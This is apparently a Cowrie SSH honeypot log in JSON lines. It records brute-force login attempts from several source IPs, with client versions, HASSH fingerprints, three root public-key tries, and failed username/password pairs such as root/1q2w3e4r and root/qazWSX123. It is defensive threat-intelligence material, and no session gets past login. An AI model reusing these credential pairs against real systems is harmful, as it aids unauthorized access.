{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56250,"dst_ip":"10.17.0.5","dst_port":22,"session":"d462ce09b45d","protocol":"ssh","message":"New connection: 83.168.110.85:56250 (10.17.0.5:22) [session: d462ce09b45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:54.820733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:54.936474Z","src_ip":"83.168.110.85","session":"d462ce09b45d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:54.974321Z","src_ip":"83.168.110.85","session":"d462ce09b45d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:55.420790Z","src_ip":"83.168.110.85","session":"d462ce09b45d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:56.674754Z","src_ip":"83.168.110.85","session":"d462ce09b45d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56262,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca06040d81f","protocol":"ssh","message":"New connection: 83.168.110.85:56262 (10.17.0.5:22) [session: fca06040d81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:01.867158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:01.872491Z","src_ip":"83.168.110.85","session":"fca06040d81f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:01.999568Z","src_ip":"83.168.110.85","session":"fca06040d81f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:02.372343Z","src_ip":"83.168.110.85","session":"fca06040d81f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:03.611386Z","src_ip":"83.168.110.85","session":"fca06040d81f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54862,"dst_ip":"10.17.0.5","dst_port":22,"session":"85163e0dd20e","protocol":"ssh","message":"New connection: 83.168.110.85:54862 (10.17.0.5:22) [session: 85163e0dd20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:08.820114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:08.824828Z","src_ip":"83.168.110.85","session":"85163e0dd20e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:08.945378Z","src_ip":"83.168.110.85","session":"85163e0dd20e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":51120,"dst_ip":"10.17.0.5","dst_port":22,"session":"546bcedbc765","protocol":"ssh","message":"New connection: 39.117.79.36:51120 (10.17.0.5:22) [session: 546bcedbc765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:09.396223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:09.401157Z","src_ip":"39.117.79.36","session":"546bcedbc765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:09.523664Z","src_ip":"83.168.110.85","session":"85163e0dd20e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:09.600998Z","src_ip":"39.117.79.36","session":"546bcedbc765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazWSX123","message":"login attempt [root/qazWSX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:10.422566Z","src_ip":"39.117.79.36","session":"546bcedbc765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:10.664702Z","src_ip":"83.168.110.85","session":"85163e0dd20e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":57810,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f0884a65781","protocol":"ssh","message":"New connection: 43.153.65.139:57810 (10.17.0.5:22) [session: 8f0884a65781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:11.087541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:11.092572Z","src_ip":"43.153.65.139","session":"8f0884a65781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:11.161114Z","src_ip":"43.153.65.139","session":"8f0884a65781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telkom","password":"telkom123","message":"login attempt [telkom/telkom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:11.466323Z","src_ip":"43.153.65.139","session":"8f0884a65781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:11.623454Z","src_ip":"39.117.79.36","session":"546bcedbc765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:12.537528Z","src_ip":"43.153.65.139","session":"8f0884a65781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.136.174","src_port":42840,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebf10126a41d","protocol":"ssh","message":"New connection: 176.65.136.174:42840 (10.17.0.5:22) [session: ebf10126a41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:13.591030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:13.596723Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:13.698087Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:d4:38:71:45:8c:2d:2c:f0:2b:45:15:31:65:48:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6KFiYzz0GyWY1l3xHyhgt8Fvq1vraefCSSPmuHhlfgDE2Yf8VwMoMMc+zEHuH3nO9OiKPQNyNAZ40YHp42Cd0IIjWgbA+WBqsqQ0cvExwihXZBrB5iZnGjwa5cRNSXZ8IvVf05UMa7ONvjf9Y6MkaC0raMjtWCFvPLqvpUeSfCnsKUSNjMRo3VEeRdOl8ZdxZQrL9JgG97MEo7+GatAlG3tdSzmIbItzYVLksIOLDHuxZV15Z1MD6nuohhYf06V2/hcqz73bHDrIjdMjFXQGnIpoxJzGwpHoIdK/4Gq6VLmRiwaspBPjQ0hMgS+Bz/C+NFwlS3rfQh1w6Fituwijh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:d4:38:71:45:8c:2d:2c:f0:2b:45:15:31:65:48:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.149214Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:d4:38:71:45:8c:2d:2c:f0:2b:45:15:31:65:48:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6KFiYzz0GyWY1l3xHyhgt8Fvq1vraefCSSPmuHhlfgDE2Yf8VwMoMMc+zEHuH3nO9OiKPQNyNAZ40YHp42Cd0IIjWgbA+WBqsqQ0cvExwihXZBrB5iZnGjwa5cRNSXZ8IvVf05UMa7ONvjf9Y6MkaC0raMjtWCFvPLqvpUeSfCnsKUSNjMRo3VEeRdOl8ZdxZQrL9JgG97MEo7+GatAlG3tdSzmIbItzYVLksIOLDHuxZV15Z1MD6nuohhYf06V2/hcqz73bHDrIjdMjFXQGnIpoxJzGwpHoIdK/4Gq6VLmRiwaspBPjQ0hMgS+Bz/C+NFwlS3rfQh1w6Fituwijh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.153903Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:6a:95:7e:a2:f6:13:d7:10:c4:f4:c1:82:5f:fb:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIm06OD8JdrzUn0iE7/ZRzCNdbthh0SMiYaxIenUbxprYZsKhqqsn6c3sk2KJx1RujRg/B30pJ47WsUUu0XMVB8JMMvOaVlyaKHhAET4CmmKh4Zy+tzUdHryu2jPqKHbrRi7I8/hoSu+k2+hKumEyv0aUVbQ7iAUM131Q/BXbAKq+zZHGGFIFPLdBA3O7sLhld1I0xtkiHrpFsVYZTxQkrRFEFR7gxdyMq7TN7Iu1FTnC6Tekcdcmg3O65qBDp27++iQfzwgupY1cuLVow/FWHkqge/EAsctZO/j3q2llxYbc5g9vp2H/cUbUVMtybYhSozjPcXFFYZs20c5ATgpXu1Y+kCUGmkRFRYB6L992tf8f42LliMT0FZ+FnC/O6CWqxJnVwgPQvQSQtiabIag8AOwy5Hof+dZiO6uXHOj9BeNOYus0D4qUcTOgOCzQe1gUhO/Gnu7yWGAMbvSaR7wWa+ZhFLCUSFY3GfQw5oAAXKlBlQgTLhmt6HSR7x3wRIYqnC6KgM2LAgMNACphhrVBVj+aORU/g4gvTgDlHNtzQEpToLhy7ZDRa0g8AMAyqMvndLjdq6JjNPJ5K5zI3PinEl7rGBSxPdbQzRdDbfyZBW0pS9BhAm06Vv4pKme62L6lw6Hfz3Fy3u4vup7E2DiQ9y9zdb+eHpdqVPhY46HCHLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:6a:95:7e:a2:f6:13:d7:10:c4:f4:c1:82:5f:fb:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.250984Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:6a:95:7e:a2:f6:13:d7:10:c4:f4:c1:82:5f:fb:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIm06OD8JdrzUn0iE7/ZRzCNdbthh0SMiYaxIenUbxprYZsKhqqsn6c3sk2KJx1RujRg/B30pJ47WsUUu0XMVB8JMMvOaVlyaKHhAET4CmmKh4Zy+tzUdHryu2jPqKHbrRi7I8/hoSu+k2+hKumEyv0aUVbQ7iAUM131Q/BXbAKq+zZHGGFIFPLdBA3O7sLhld1I0xtkiHrpFsVYZTxQkrRFEFR7gxdyMq7TN7Iu1FTnC6Tekcdcmg3O65qBDp27++iQfzwgupY1cuLVow/FWHkqge/EAsctZO/j3q2llxYbc5g9vp2H/cUbUVMtybYhSozjPcXFFYZs20c5ATgpXu1Y+kCUGmkRFRYB6L992tf8f42LliMT0FZ+FnC/O6CWqxJnVwgPQvQSQtiabIag8AOwy5Hof+dZiO6uXHOj9BeNOYus0D4qUcTOgOCzQe1gUhO/Gnu7yWGAMbvSaR7wWa+ZhFLCUSFY3GfQw5oAAXKlBlQgTLhmt6HSR7x3wRIYqnC6KgM2LAgMNACphhrVBVj+aORU/g4gvTgDlHNtzQEpToLhy7ZDRa0g8AMAyqMvndLjdq6JjNPJ5K5zI3PinEl7rGBSxPdbQzRdDbfyZBW0pS9BhAm06Vv4pKme62L6lw6Hfz3Fy3u4vup7E2DiQ9y9zdb+eHpdqVPhY46HCHLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.255924Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:14:cf:1c:cf:94:61:3b:4b:f4:85:9a:1f:67:2c:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9nQUaXvMASZsNEdN/ixBudNIFq1bqzrAFnCt2K9CbA6Y4lraqAzBWdarnDihEteS1M8HTv22E+/3BKZJgjmnGt2tAUxrOtyX/5IlrMmp94yL54+U5s+VDd4ZlOpAFI/H3GjIy21Uc//BxH/QUIiwguk14pvdHhqA247hlhd4jdhedmSsYer/2UK3OnoPBHGOPaIBvnAWYkFaRxlVzLUyEg8Ys5B6FPSJjetHEdqmiIHGA4TyZPWfQWOZfbibdzSv7s4lJHCPFnwb3JsK9M3i0ZoT7zA3mFfCy8H8rRX5S5QV9ZRdLZQylVWKYQBhQ6Hq77OhRjqYNGdjz4muPM6e1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:14:cf:1c:cf:94:61:3b:4b:f4:85:9a:1f:67:2c:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.352570Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:14:cf:1c:cf:94:61:3b:4b:f4:85:9a:1f:67:2c:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9nQUaXvMASZsNEdN/ixBudNIFq1bqzrAFnCt2K9CbA6Y4lraqAzBWdarnDihEteS1M8HTv22E+/3BKZJgjmnGt2tAUxrOtyX/5IlrMmp94yL54+U5s+VDd4ZlOpAFI/H3GjIy21Uc//BxH/QUIiwguk14pvdHhqA247hlhd4jdhedmSsYer/2UK3OnoPBHGOPaIBvnAWYkFaRxlVzLUyEg8Ys5B6FPSJjetHEdqmiIHGA4TyZPWfQWOZfbibdzSv7s4lJHCPFnwb3JsK9M3i0ZoT7zA3mFfCy8H8rRX5S5QV9ZRdLZQylVWKYQBhQ6Hq77OhRjqYNGdjz4muPM6e1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.356598Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
